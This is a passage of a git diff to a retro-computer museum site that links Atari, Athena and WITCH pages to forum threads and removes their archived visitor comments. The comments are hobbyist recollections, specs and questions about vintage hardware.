polvo así que me interesaría venderla alguien sabe o me podría dar un precio aproximado de ¿cuanto podría valer? - - author: archon72 (Greece) - date: Saturday 8th February 2014 - text: |- - Very beautiful machine!\ - In this link you can see my Atari PC1:\ - http://atariage.com/forums/topic/207525-does-anyone-have-an-atari-pc1-only-not-other-pcs/ - - (post $12) - - author: Richard (Isle of Man) - date: Monday 14th January 2013 - text: |- - I had an Atari PC3. Think it cost about 800 UKP in 1989. Had an ST-like mouse, and was probably notable as the only XT-class machine to have an AT (''enhanced'') layout keyboard as standard. - - Had CGA, EGA and Hercules, you could switch between whatever your monitor supported, in software, without rebooting. - - Mine came with twin 360k 5 1/4" drives, I stuck in a 720k 3.5 drive and a 40Mb hard card. Had to upgrade the DOS to 3.3, and split the card into 2 20Mb partitions, because of the 32Mb barrier! - - Tried a plugin 286 upgrade, but I never got it to work. It was definitely a non-standard mobo and case, but it was very compatible with software, and this is speaking as someone who wrote metal-bashing assembler. I made a push button that stuck out the back which shorted ground and /NMI on the processor. Hit it, and it would break out of a program and jump into Turbo Debugger, just like a C64 freeze cartridge. - - It was perfectly fine for what I used it for, DTP with Timeworks, Turbo C v2.0, word processing with Borland Sprint, I think it just about managed to run Windows 3.0 when I got rid of it. - - After that, I entered 20-odd years of FrankenPC''s made up from parts, but you always remember your first.. - - author: KevinT (Canada) - date: Friday 26th October 2012 - text: This was my first PC and I actually developed on it with Borland Turbo C 1.0. I''d upgraded it to 640K, installed a NEC V20 processor for better performance, and one of those real time clocks stacked under the ROM BIOS that set the PC''s clock on bootup thanks to a utility in the autoexec.bat. To get TurboC to work painlessly without a hard-drive or endless disk swapping, my boot floppy created a ramdisk the exact size to contain C0S.obj and cs.lib for linking, then I''d switch to the floppy containing TurboC and ran a batch to copy the necessary files to ram then start the environment, and then finally I could switch to my work floppy containing the source code and compiled/linked output. After that, no further swaps were necessary. Ah, them''s were the days... - - author: Mr.L (United States) - date: Monday 9th April 2012 - text: Used to have these at my work - - author: Chris (NJ, USA) - date: Sunday 1st August 2010 - text: I really really want a PC2, which is a vanilla beige box. Really interested in any Atari PC compatibles. chrism3667(at)yahoo(dot)com - - author: Michael Schmidt (Germany) - date: Tuesday 22nd June 2010 - text: Hi folks, my first Computer ever, iirc bought autumn 1990, was an Atari PC3. It came with 640 kb RAM, 30 MB Harddrive (RLL-controller), EGA-graphics and an EGA b/w-monitor. Also with 3,5 " 720-kb floppydrive and a rock-solid, heavy Atari MFII-keyboard, used (with adaptor) till today (2010). OS was MS/DOS 3.3. To that time, great value for the money (1300 DM incl. VAT- don''t ask me, what that was in $ worth back then). - - author: Mike - date: Tuesday 23rd September 2008 - text: |- - It did have some weird board that connected to the motherboard that gave it one 8-bit isa slot, and thats where the western digital mfm controller was $ed. I''ll get more on this later, and those pictures i promised years ago. - - Im in the process of getting the whole system over to something more future proof, found an 8bit scsi controller - - author: Chris Keuken - date: Thursday 31st July 2008 - text: If I remember correctly, my Atari PC3 had a 30Mb built-in harddisk and 684 Kb RAM. - - author: Iain Jacobs (Earth) - date: Wednesday 30th May 2007 - text: I bought a PC3 in 1989 and used it up until 1998 It had lots of programs that were available from shareware places and I used a Buttonware database with great success. Wordstar 4 was another popular program. The Gem system seemed to work fine, I still have the disks for the Gem Paint which my son used to amuse himself with. All that and 512 kb of Ram. amazing really. - - author: Greg (New York) - date: Friday 8th April 2005 - text: If Commodore and Atari had concentrated on this sort of thing (PC compatibles targeted at home use) instead of flogging STs, Amigas and game systems, they might still be around today... - - author: Ben Booth (Leeds/UK) - date: Thursday 1st August 2002 - text: |- - Anyone know where I can get one of these?\ - I love vollecting old machines...this one rocks! related: - /museum/sharp-pc-3101 - /museum/sharp-pc-3201 diff --git a/content/museum/atari-pong-model-c-100.md b/content/museum/atari-pong-model-c-100.md index 52ff5eed..e2cfae2b 100644 --- a/content/museum/atari-pong-model-c-100.md +++ b/content/museum/atari-pong-model-c-100.md @@ -55,6 +55,7 @@ params: - links - docs - videos + forum_thread: 853 photos: - title: ATARI PONG subtitle: '' @@ -111,28 +112,6 @@ params: - title: TV commercial url: https://www.youtube.com/watch?v=X53eJ8AWQ9Y text: 'Length: 29 s' - comments: - - author: Big Tasty (England ) - date: Thursday 18th January 2018 - text: I would like to say.. You all succ - - author: Brad - date: Friday 25th October 2013 - text: My Grandpa is Tom Quinn - - author: linus (Viña del Mar/Chile) - date: Friday 9th March 2012 - text: Steven, i have a pong with the same model number that your pong (637.99716). - - author: loodo848 - date: Sunday 4th March 2012 - text: My uncle and grandpa used to have a atari pong intill it got lost somewhere - - author: fixman88 (Tyler, Texas) - date: Tuesday 27th November 2007 - text: I've owned one of these for a little over 10 years. I bought it at a Goodwill store for 7 dollars. It came with its' box and the instruction manual and warranty card (unfortunately since lost due to water damage). The unit itself however is in excellent condition and is sitting on top of my TV to this day! In the late 1990s my cousins actually preferred playing Pong to playing their Sony Playstation! - - author: Steven Gerritzen (Ocala, FL) - date: Tuesday 23rd August 2005 - text: I am trying to learn a little about a Pong system I have. My parents bought it back around 1976, I believe. The model number is 637.99716 which from some of the sites I have found noone seems to have that Model NO listed. The S.N. is legabel and the games works perfectly. The only thing I am missing is the original 110v power cord but the battery power supply still works. The game is in exxcelent condition. All I am is curious to about how much it might be worth if it, if it is worth anything. - - author: Primoduke (Argentina) - date: Sunday 20th April 2003 - text: Does anyone know how many units had been built of this little wonder? oc_id: 872 source: url: https://web.archive.org/web/20230614010947/http://www.old-computers.com/museum/computer.asp?c=872 diff --git a/content/museum/atari-portfolio.md b/content/museum/atari-portfolio.md index 5fb35d88..f2e14ea3 100644 --- a/content/museum/atari-portfolio.md +++ b/content/museum/atari-portfolio.md @@ -64,6 +64,7 @@ params: - photos - hardware - links + forum_thread: 360 photos: - title: ATARI PORTFOLIO subtitle: '' @@ -130,39 +131,6 @@ params: - title: www.pofowiki.de url: http://www.pofowiki.de text: Wiki dedicated to the Atari Portfolio (in german) - comments: - - author: x86vet (UK) - date: Saturday 16th October 2021 - text: '"The story behind the creation of the Atari Portfolio" on Amazon may be of interest to some members of this forum.' - - author: Paul Finch (United Kingdom) - date: Wednesday 11th November 2020 - text: |- - I own and run the only U.K Portfolio Club and have loads of new and secondhand hardware / software for this brilliant pocket p.c.\ - I even have an original Atari testboard for this great machine, loads of magazines, books, etc.\ - Just contact me,\ - Paul - - author: Russ Campbell (Canada) - date: Sunday 1st March 2020 - text: I have two Atari Portfolio PCs , have just updated Paul Jolly''s files from his site, they will be made available on my BBS, callable with an Atari Portfolio, and a modem as I have a modem and a land line as well as HTML and Telnet. - - author: Daneel (Italy) - date: Wednesday 23rd April 2014 - text: |- - In the early 90s I bought an Atari PC Folio for about 500,000 Italian lire, about 250 €.\ - I used a lot of its built-in spreadsheet.\ - A beautiful piece.\ - It s part of my collection, but do not turn it on for many more years. - - author: Fawad - date: Monday 12th December 2011 - text: i have one but i don''t have any idea on how to use it, its a very interesting piece - - author: Rolfio (the Netherlands) - date: Sunday 11th December 2011 - text: I have 2 atari portflio''s and i like them always. very nice computer. - - author: Mnem (Canada) - date: Friday 16th December 2005 - text: I used to have one of these. Picked it up at a pawn shop for $50 CDN in the early 90's. Good little machine although I was never able to get full use of it since I didn't have a cable to connect it to my home computer. Unfortunatly it got stolen a couple of years back when a landlord of mine decided to do a little raiding at my appartment. - - author: Andrew (UK) - date: Wednesday 11th September 2002 - text: Amazing computer then and now. I love these. oc_id: 356 source: url: https://web.archive.org/web/20230601001742/http://www.old-computers.com/museum/computer.asp?c=356 diff --git a/content/museum/atari-st-book.md b/content/museum/atari-st-book.md index b937df45..5447a624 100644 --- a/content/museum/atari-st-book.md +++ b/content/museum/atari-st-book.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 293 photos: - title: ATARI ST BOOK subtitle: '' @@ -261,68 +262,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: herve warin (France) - date: Monday 5th December 2011 - text: |- - I am the proud owner of this marvel. At my knowledge, only 47 models have been built for sale in France (AZERTY keyboard ?), all distributed by "Informatique $ Nature". This is mainly a prototype material. - - I can confirm that the same interface port can be used for a ACSI/DMA device or a dedicated floppy. - - I still own the dedicated DMA cable but I don''t remember to ever have used it. - - I still own the dedicated external 1.44 floppy drive that was also distributed by "Informatique $ Nature". - - The ST-BOOK appendum describes the following options :\ - \- External floppy disk (no mention of 1.44Mb)\ - \- Midi cables (from mini-DIN to DIN)\ - \- Serial transfer cable (similar as null modem but I don''t own the original)\ - \- Keyboard cable (unfortunately, I don''t own it) to connect a MegaST, MegaSTE or TT keyboard - It disables "vector pad" and allow the use of normal mouse or joystick\ - \- Cardrige port\ - \- Mouse/Joystick interface - - Currently, original HDD gives weakness symptoms and orginal battery is dead. - - author: Andrew (USA) - date: Friday 10th September 2010 - text: 'Link: That dark strip down the left side of the screen did absolutely nothing.' - - author: Julio cao (Asturias gijon spaña) - date: Wednesday 7th July 2010 - text: Me interesa todo lo que sea en relacion con ATARI gracias y ATARFOREVER - - author: Malcolm Ramage (Huddersfield, UK) - date: Thursday 15th April 2010 - text: |- - The ACSI interface was not the same as the one on the ST/TT as it also included the floppy control lines. - - However other than a plastic box, no floppy drive was evr made for this by Atari. - - The long edge connector also had nothing made for it, though it was pin compatible with the expansion connector on the ST Pad (Also never released) - - author: Matt (USA) - date: Saturday 16th December 2006 - text: No, it's definately ACSI - it was a butchered-up varient of SCSI. If you wanted to use a SCSI harddrive with an atari, you had to buy a third-party circuitboard to do translation. - - author: Link (Hyrule) - date: Friday 8th April 2005 - text: What did that dark strip down the left side of the screen do? Anything? - - author: Amir Isa (Malaysia) - date: Wednesday 6th April 2005 - text: |- - Erm... I think it's a little error in the text where it says that the external floppy drives were weird and used the same interface as Atari's desktops (ASCI). - - I believe the correct terms is SCSI (Small Computer System Interface) which is still current technology and in use in many high end applications and is in many ways superior to the more common IDE architecture. The terms ASCI is a new one on me but I've heard of something called ASCII (American Standard Code for Information Interchange- I think) which is something else entirely. - - Or am I wrong? Can somebody please clarify? - - author: Andy Ball (Illinois, USA) - date: Thursday 30th September 2004 - text: |- - I just found some answers at another web site.\ - Size: 36x279x216 mm (A4, 36mm thick)\ - Weight: approx. 2 Kg\ - Battery life: 5 hours on seven AA alkaline cells or 10 hours on the optional NiCd battery. - - author: Andy Ball (Illinois, USA) - date: Thursday 30th September 2004 - text: |- - What are the ST-Book's dimensions?\ - How much does it weigh?\ - How long is its battery life? related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-stacy.md b/content/museum/atari-stacy.md index 2c43fa7d..36e752ab 100644 --- a/content/museum/atari-stacy.md +++ b/content/museum/atari-stacy.md @@ -70,6 +70,7 @@ params: - emulators - links - docs + forum_thread: 235 photos: - title: SYSTEM subtitle: '' @@ -288,11 +289,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Tomas Ensley (USA) - date: Thursday 11th May 2006 - text: I own an Atari Stacy 4 upgraded to run at 16MHz which we thought was great at the time. I ran the office for an Atari software developer known as CodeHead Technologies in LA. I was also the last sysop standing in the Atari Roundtable on the GEnie online service. My Stacy is still operational, though I need to put a new hard drive in it. The main drawback was the rather dim display, but some people put tin foil behind it to brighten it up. The battery was actually a single motorcycle-type battery, so I believe 12v was what it ran on. They never lasted 5 hours. In fact, you could barely get through airport security on one charge. I have used it as recently as two years ago on stage to run my MIDI gear. The ST series was a great deal more reliable than a modern Windows PC as far as MIDI goes. If you move the mouse on a slow Windows machine, a MIDI file will slow down. No so on the Atari. The keyboard was very satisfying, probably the best Atari made. I'm looking for instructions on - how to safely open the case. I also have the Atari Falcon 030. It did hard disk recording before Windows was invented right out of the box. VGA, SCSI II and AppleTalk-style ethernet were built in, too. I can also connect it to the Internet. Not many machines of that period can do that. related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-stunt-cycle-model-sc-450.md b/content/museum/atari-stunt-cycle-model-sc-450.md index b0300d0a..8e46e820 100644 --- a/content/museum/atari-stunt-cycle-model-sc-450.md +++ b/content/museum/atari-stunt-cycle-model-sc-450.md @@ -49,6 +49,7 @@ params: - software - links - videos + forum_thread: 1245 photos: - title: ATARI STUNT CYCLE subtitle: '' @@ -85,10 +86,6 @@ params: - title: Sears Motocross Head Slide url: https://www.youtube.com/watch?v=nXtxfYLqN5A text: 'Length: 4 s' - comments: - - author: Jason (Ohio) - date: Tuesday 8th November 2011 - text: I just got one of these over the weekend complete in its box. Tested it before buying and it is actually a more fun and challenging game than I thought. When the bike wrecks it actually skids on the guy''s head! Low res ouch! software: - /software/drag-race-616 - /software/enduro diff --git a/content/museum/atari-stylus-st-pad.md b/content/museum/atari-stylus-st-pad.md index 3c6cba9c..06e4e3f1 100644 --- a/content/museum/atari-stylus-st-pad.md +++ b/content/museum/atari-stylus-st-pad.md @@ -65,6 +65,7 @@ params: - emulators - links - docs + forum_thread: 279 hardware: - title: SF-354 subtitle: Single density disk-drive @@ -241,13 +242,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Dark Willow (UK) - date: Tuesday 14th August 2012 - text: Another idea from Atari R$D that was ahead of it''s time. I wonder if the TOS extensions and some of the tablet specific hardware could be reverse engineered to create a modern tablet based around a generic touchscreen and Suska or Firebee board? - - author: Malcolm Ramage (United Kingdon) - date: Monday 13rd June 2011 - text: At least 1 working prototype exists and was sold to a collector on eBay. Several cases were also produced and a rumored number of incomplete prototypes are said to exist. Like the STE+, many of the parts that were found and sold were in Atari Mexico''s inventory, which was sold off after the final collapse of Atari. related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-super-pong-model-c-140.md b/content/museum/atari-super-pong-model-c-140.md index da4fbaf6..fe1142ac 100644 --- a/content/museum/atari-super-pong-model-c-140.md +++ b/content/museum/atari-super-pong-model-c-140.md @@ -57,6 +57,7 @@ params: - software - links - videos + forum_thread: 981 photos: - title: ATARI SUPER PONG subtitle: '' @@ -93,25 +94,6 @@ params: - title: Super Pong TV commercial url: https://www.youtube.com/watch?v=0G2TzdbGCUs text: 'Length: 29 s' - comments: - - author: Darlene Justus (United States) - date: Tuesday 2nd June 2020 - text: |- - Sears was taking orders for Christmas delivery of the new Super Pong game. It was the most anticipated gift for Christmas! Atari was building the set top boxes and dual controllers, the whole system - minus the microchip. The micro electronic chip was being manufactured by a group out of Texas, struggling with a serious corrosion problem. - - There was a very serious concern that the manufacturing problem was not going to be resolved before Christmas. Sears, Atari and the chip mfg were in trouble, and most of all all of those orders would fail at the worst time. Santa’s requests, for the most sought after gift that Christmas, would not be filled. Many folks would be so disappointed! - - MICARL, Motorola Integrated Circuit Advanced Research Lab committed to help out! The Lab and so many folks worked tirelessly and rescued Super Pong and all of Sears Christmas orders! Atari donated several Super Pong Systems\ - to MICARL for an employee drawing. I was a technician in the MICARL, CMOS (Complementary Metal Oxide Semiconductor) Technology group at the time. All were proud\ - to help and not let the Grinch steal Christmas. - - MICARL was located in Motorola, in Mesa Arizona on Broadway and Dobson Rds. - - author: njof (LONDOM) - date: Thursday 12th September 2019 - text: HELLO MY NEEKS - - author: Bartimaus (U.S.A.) - date: Monday 6th February 2017 - text: I love this system. I got mine from deep in the basement in 2015 and I LOVE this thing! Its a real classic. The power cable is broken so I have to use the batteries but it has a surprisingly good battery life. All in all this is a solid system. software: - /software/catch - /software/pong-393 diff --git a/content/museum/atari-tt-030.md b/content/museum/atari-tt-030.md index f814d362..4cf0937d 100644 --- a/content/museum/atari-tt-030.md +++ b/content/museum/atari-tt-030.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 255 adverts: - title: 'GERMAN BROCHURE #1' subtitle: '' @@ -255,32 +256,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Jana - date: Saturday 30th June 2018 - text: Actually there never was a 16Mhz version. They considered using the 68020 at 16Mhz but late in development the switched over to the 68030 running at 32Mhz. They kept tha bus at 16Mhz for technical reasons and for compatibility with ST apps though. - - author: Pieter van der Meer (Nederland) - date: Sunday 22nd April 2012 - text: |- - The Atari TT was a success in some circles. Certainly it wasn''t a flop. But it wasn''t the big success that the Atari ST was. It was simply too pricey. Even if "Power without the price" was still true for this machine, it was more capable than the PCs or Amiga''s of its time. The latter all had bigger price tags. The reason why it wasn''t the success the ST was, was because the thing was aimed solely at business, while Atari had a loyal home computing following.\ - Anyway, it was a splendid machine. Every bit as reliable as the ST, but super fast and with even greater connectivity. - - author: Krys - date: Thursday 29th December 2011 - text: |- - A few bits of information:\ - The TT/X with UNIX featured the standard TT hardware, the only difference that I am aware of was having the UNIX system pre-installed. It appears to have been very rare, even by TT standards, though it was not vaporware, and a few have turned up. - - The Appletalk LAN port never had any software released to support it, though TOS 3.x (TT TOS) does "see" it. Appletalk LAN was also provided on the Falcon, so Atari seemed pretty confident that they would do something with it eventually. - - Apparently the 256 colour TT-Low resolution (an odd addition to a system aimed mainly at high-res DTP and CAD/CAM applications) was apparently a hang over from the STe. The STe was originally intended to have this resolution but it was $ped from that design for some reason, but picked up again in the TT. Also, the "Spectrum" mode is not an "official" mode, but can be done using programming "tricks", and can actually use the full 4096 colours of the palette. The same tricks can be done on the STe and stock STs (with 512 instead of 4096 cols, due to their smaller palette). The name comes from the Spectrum 512 image editor, which famously used this trick in a very elegant way. - - Finally, just to correct the RAM specification. The system can support up to 256mb TT-RAM (on a dedicated RAM card). ST-RAM was less, though I''m not sure of the upper limit. - - author: Melchior-Christoph v. d. Brincken (Germany / Berlin / wannaberupublic of Kreuzberg) - date: Wednesday 18th August 2004 - text: The Atari TT was a success. It completed the ST Line with an "professionel" machine. This encouraged the software developers. Especialy grafic apps got a boost. Calamus S and later SL (DTP), Retouche Pro (kind of Photoshop), Didiot Professional (DTP), Avantvektor Pro (kind of Illustrator) and Turbo CAD ST/TT version were published. The TT was a huge success. - - author: Karol (Poland) - date: Wednesday 30th October 2002 - text: I search atari tt I'm from poland related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-ultra-pong-doubles-model-c-402.md b/content/museum/atari-ultra-pong-doubles-model-c-402.md index 6c2142c0..16161c87 100644 --- a/content/museum/atari-ultra-pong-doubles-model-c-402.md +++ b/content/museum/atari-ultra-pong-doubles-model-c-402.md @@ -52,6 +52,7 @@ params: - photos - software - links + forum_thread: 1244 photos: - title: ATARI ULTRA PONG DOUBLE UNIT subtitle: '' diff --git a/content/museum/atari-vcs-2600.md b/content/museum/atari-vcs-2600.md index 746b6b9d..c06755ad 100644 --- a/content/museum/atari-vcs-2600.md +++ b/content/museum/atari-vcs-2600.md @@ -14,6 +14,7 @@ params: - software - emulators - links + forum_thread: 859 adverts: - title: FRENCH ADVERT (DECEMBER 1981) subtitle: '' @@ -73,85 +74,6 @@ params: - title: Wikipedia - Atari VCS 2600 entry url: http://en.wikipedia.org/wiki/Atari_2600 text: Nice article from Wikipedia - comments: - - author: rod (canada) - date: Monday 22nd January 2018 - text: Have you played Atari today??? If not, then you should stop what you''re doing right now and fire one of these bad boys up. - - author: Brad - date: Saturday 25th March 2017 - text: I had a Sears version of the 2600. Sears actually sold the same unit under their own name. I found that if I pulled out the cartridge just a tiny bit and re$ed it again very quickly, It would sometimes go into a weird mutated version of a game. Very strange things would happen. I mainly remember doing this with the original Battleship game. I have many fond memories and have often considered buying one of those Atari "Flashback" consoles. - - author: Bartimaus (U.S.A.) - date: Thursday 2nd February 2017 - text: I picked up one of the "Darth Vader" systems with 6 games all cables and a controller for 30 $ and I can say it was well worth it. Too bad on of the games was E.T. the extraterrestrial... - - author: Teery (Arlington, Texas, United States, North America, Planet Earth, Solar System, Milky Way Galaxy, Universe) - date: Tuesday 19th April 2011 - text: Actually, the NES didn''t exit production production in 2004. In 2004 Nintendo stopped repairing NES consoles. - - author: tn102 (Michigan, USA) - date: Sunday 11th July 2010 - text: I have one of these, I got it from my grandma. I went out and bought a converter so now it hooks right up to my regular TV through the coaxial cable. It works perfectly and I have a lot of games for it. In fact I think I might go play it right now - - author: Joe (US, Ohio) - date: Sunday 3rd August 2008 - text: My parents got me a Sega Genesis when it came out and I noticed the controller port pins were the same as my Atari 2600. So being as young as I was, I put the Genesis Controller in my Atari Port and it worked. The Sega Genesis B trigger was the fire button and the direction pad worked as well. - - author: Giovani Zancan (Santo ângelo, Rio Grande do Sul, Brazil) - date: Thursday 9th August 2007 - text: |- - Absolutely one fantastic console!\ - I got one for my birthday when I was... 7? Anyway, I could only play it on this old black-and-white TV, and had only Pacman and a racing game whose name I can't recall. So, one day I found myself alone at home, and plugged it into my color TV; I say to you, it was one of the most exciting things, seeing all the colors and details \*-\*\ - Too bad it stopped working and I, in my stupidstupid mind, thought I could fix it. Results? Opened it and it never worked again, so my mom trew it away T_T - - Man, I need another of those! - - author: Nate Arnold (Ohio) - date: Tuesday 27th March 2007 - text: OK so it wasn't going to be that much ;). The point is that I was stupid enough to sell it. I miss the darn thing, and emulation does not exactly feel the same. In fact, I wish I still had it. - - author: bluekatt (netherlands) - date: Thursday 25th January 2007 - text: im also not sure what exactly nate arnold was on when he wrote that but there is no way in hel that anny atari 2600 system would be worth thousands of dollars unless its a old stock misb 1977 vcs with all games misb then and only then might it be worth a couple of grand - - author: bluekatt (netherlands) - date: Wednesday 10th January 2007 - text: |- - the atari's record has already been broken\ - twice ( to a degree ) first by the nintendo famicom who went into production in japan in 1983 and went out of it in 2004\ - thats 21 years\ - the other is the gameboy who has been running ever since 1989 in one form or another - - honorable mention is the playstation 1 who has also survived for 12 years one way or another\ - for around 6 7 years as a hardware entity andnow as a integrated romchip and emulator calls in the ps 2 and 3 - - author: Nate Arnold (USA) - date: Tuesday 1st November 2005 - text: 'My parents got this system as a wedding present in 1981. We''r talking a stock and pure Atari 2600. My family, friends and i played it so much that it went into disrepair ($250,000 aset for 2004: down the drain). Then my mom surprised us with a brand spanking new atari 2600 (the 1988 version aka the 2600Jr due to smaller dimensions). I sold it at a garage sale (1996) with 25+ games, all for about $30. DOH!!! (values estimated for 2004 would have benn 10''s of thousands of dolars in non-mint and working condition)' - - author: Tyler (Osky, IA) - date: Sunday 2nd October 2005 - text: Hey ppl i just bout one of these at a garage sale for a buck the original 1977 system i belive and the combat game + some others im so happy! - - author: Aran Carrigan (USA) - date: Friday 4th March 2005 - text: |- - I'm a kid, too!\ - I have one suggestion on hooking it up to a new TV: Hook the coaxial cable to your Antenna input (on the TV or VCR). You shouldn't need an adaptor. Oh yeah, does anyone know a good place to buy an Atari 7800? - - author: Stephen Knotts (USA) - date: Saturday 27th November 2004 - text: Even though I'm just a kid, I'm a HUGE old-computer hobbyest, and I've almost always wanted to get my hand on the Atari VCS 2600. This christmas looks positave! :-) - - author: bhtooefr (USA) - date: Friday 5th November 2004 - text: |- - Keep in mind, this is all from what I know, which (when it comes to 2600s) is nothing. - - You'll most likely need an RF convertor, and maybe an adaptor to plug into a coaxial cable input. You won't be touching the AV jacks. - - author: Webmaster (France) - date: Sunday 31st October 2004 - text: |- - Here is an answers :\ - http://www.atariage.com/2600/faq/?SystemID=2600#fuzzy\ - http://www.atariage.com/2600/faq/?SystemID=2600#composite\ - http://www.zutco.com/atfaq.htm - - hope that helps\ - Try Google for more answers... - - author: Mel (Ft Walton Beach Fl) - date: Sunday 31st October 2004 - text: I am trying to hook an ATARI 2600 to a new TV. My TV has the standard tv video/audio inputs. Is there a way to hook up the ATARI to a new TV. If so, what connections would I need to convert the existing connections? - - author: qonos (Seminole, Ok) - date: Saturday 10th July 2004 - text: man i still think atari rulez! when i go to play video game, i go to PLAY the video game, not study it! i don't care what xxxxoo triangle up left square does! or when i need to do it! i care about sitting down and immediately being abled to be entertained without a bestselling sold separately code book to go with it! Atari is what being a vidiiot is about! gaming as entertainment, not study, because there's this other video game i play called, "a life". software: - /software/air-sea-battle-also-known-as-target-fun-sears - /software/basic-math-also-known-as-fun-with-numbers-new-name-from-1980-math-sears diff --git a/content/museum/atari-video-pinball-model-c-380.md b/content/museum/atari-video-pinball-model-c-380.md index 4cb3a3f4..e12231a6 100644 --- a/content/museum/atari-video-pinball-model-c-380.md +++ b/content/museum/atari-video-pinball-model-c-380.md @@ -49,6 +49,7 @@ params: tabs: - photos - software + forum_thread: 1081 photos: - title: ORIGINAL MODEL subtitle: '' @@ -94,45 +95,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/atari_videopinball-c380_doc.jpg - comments: - - author: John - date: Monday 24th January 2022 - text: Haha... Key piece of info missing in the comments - after connecting it to the TV, you still need to set the TV to channel 3! Of course, you would also need an analog to digital converter for an HD TV - since those usually have .1, .2 etc. channel extensions, In not sure it would work, but I''d him it up, turn it on, and scan for signal. $cross fingers$ - - author: Tim Nevo - date: Sunday 31st December 2017 - text: Search Amazon for a RCA to F-Type adapter. You can get either male or female. Also get a good coax cable if you don''t have one. - - author: Margaret St. John (United States) - date: Sunday 31st December 2017 - text: My Dad gave me our c-380 can anyone tell me the exact name of the adapter I need to plug it into my tv’s coax port? - - author: Bob - date: Wednesday 12th September 2012 - text: Thank you Bryan and John for your responses. I got the part. It converted the wire from the atari and to coaxial. It was a box. It was similar to a nintendo rf adapter except it has a switch. It still didnt work so I would have to troubleshoot it. Are there any common problem on the one with the plastic (not wood) shell to look out for? - - author: John (US) - date: Friday 13rd July 2012 - text: Yes Brian is right. Very counter intuitive. It is putting out an antenna signal on an RCA jack. Need RCA to "cable" adapter. No change in inductance or whatever. I believe I got one at Radio Shack. - - author: Bryan (US) - date: Sunday 1st July 2012 - text: |- - 1\. No, you can not use a yellow composite video to play this system. You must get an adapter that goes from your Atari (what looks like an RCA but is not) to your coax hook up on your TV. You coax is just your standard cable hook up. This is because both audio and video come through that come so it wont work hooked up to your RCA inputs.\ - 2\. $40-$70 - - author: Bob - date: Thursday 15th December 2011 - text: does anyone know if you can use a yellow composite video on this system or what else do you use for video? I am trying to fix one as a school project. - - author: Vincent Wiseman (nashville/usa) - date: Sunday 28th November 2010 - text: I have a beige atari video pinball game model c-380 does anyone have an esitimated value for it. And it is working - - author: jesse (north carolina) - date: Wednesday 6th October 2010 - text: i got a video pinball game system that works and is like great condition - - author: Adam (dexter ny) - date: Tuesday 21st September 2010 - text: Not sure why the power plug ins never survived but I also have no plug..hmmm - - author: Adam V. (Westford, MA) - date: Friday 12th March 2010 - text: 'I recently picked up an Atari Video Pinball (beige version), and it''''s an interesting piece of history$ basically, a bridge between the dedicated Pong-type consoles which had come before, and the cartridge-based systems which were soon to come. An added note: the Video Pinball console actually predates not just the Atari 2600 cartridge of the same name, but also the arcade game, which followed in 1978. Of course, the arcade version is far better graphically, but the console version is still fun.' - - author: Ellexis (Corpus Christi, TX) - date: Thursday 20th March 2008 - text: Hi! I purchased an Atari Video Pinball Model C-380 off of eBay to add to my Atari collection and need a power adapter for it. It still works great, even with the six C cell batteries! software: - /software/flipper-pinball-i-pinball-i - /software/rebound-basketball diff --git a/content/museum/athena-computer-electronic-system-athena-1.md b/content/museum/athena-computer-electronic-system-athena-1.md index ed8673aa..16960a16 100644 --- a/content/museum/athena-computer-electronic-system-athena-1.md +++ b/content/museum/athena-computer-electronic-system-athena-1.md @@ -66,6 +66,7 @@ params: tabs: - photos - adverts + forum_thread: 93 photos: - title: ATHENA COMPUTER WITH ITS 5.25" EXTERNAL DISK DRIVE subtitle: '' @@ -80,32 +81,6 @@ params: subtitle: '' text: dated march 1983 image: /media/museum/pubs/computer-electronic-system_athena_inforworld_article.jpg - comments: - - author: Yuri - date: Sunday 14th September 2014 - text: |- - When first launched, the Athena I had an unusual but interesting dual-processor design using NSC-800 CPUs, a low-power version of the Zilog Z80. What’s more, it used solid-state storage in the form of fast dynamic RAM. It was a powerful system, but its small LCD and external floppy drive limited its usefulness. In 1983, the company switched to a single low-power Intel 80C86 CPU, the first computer to do so, and offered MS-DOS along with CP/M. - - Athena I (1983, transportable)\ - Original Retail Price: $3,250 to $4,950\ - Base Configuration: dual 2.5MHz NSC-800 CPUs, CP/M 2.2, 68K RAM, 6K ROM, external 5.25-inch floppy disk drive, 128K (1MB max) solid state storage, monochrome LCD, keyboard, two RS-232 and one parallel port, JRT Pascal, owner’s and software manuals, battery pack, AC adapter\ - Video: 4-line x 80-column text\ - Size/Weight: 3.37 x 11/87 x 14.5 inches, 15 lbs.\ - Important Options: 12-inch monochrome monitor - - author: leskovez (Russia) - date: Friday 7th February 2014 - text: |- - Photos can be found here:\ - http://classictech.wordpress.com/2009/12/06/company-profile-athena-computer-electronic-systems-san-juan-capistrano-calif/ - - author: Al Bentley - date: Saturday 8th January 2011 - text: Photo is of the prototype that was displayed at trade shows. - - author: Webmaster (France) - date: Friday 30th January 2009 - text: The picture comes from an old article about the Athena press presentation, or a show, I can''t remember exactly - - author: Commodore Lover - date: Thursday 29th January 2009 - text: If it never went into production, then where did they get the photo? oc_id: 78 source: url: https://web.archive.org/web/20230603205940/http://www.old-computers.com/museum/computer.asp?c=78 diff --git a/content/museum/atomic-energy-authority-uk-witch.md b/content/museum/atomic-energy-authority-uk-witch.md index 970575a9..784717f7 100644 --- a/content/museum/atomic-energy-authority-uk-witch.md +++ b/content/museum/atomic-energy-authority-uk-witch.md @@ -40,6 +40,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1202 photos: - title: THE WITCH subtitle: '' @@ -52,13 +53,6 @@ params: Picture credit: United Kingdom Atomic Energy Authority, Harwell, (R. C. M. Barnes) image: /media/museum/photos/aea_witch_2.jpg - comments: - - author: Simon 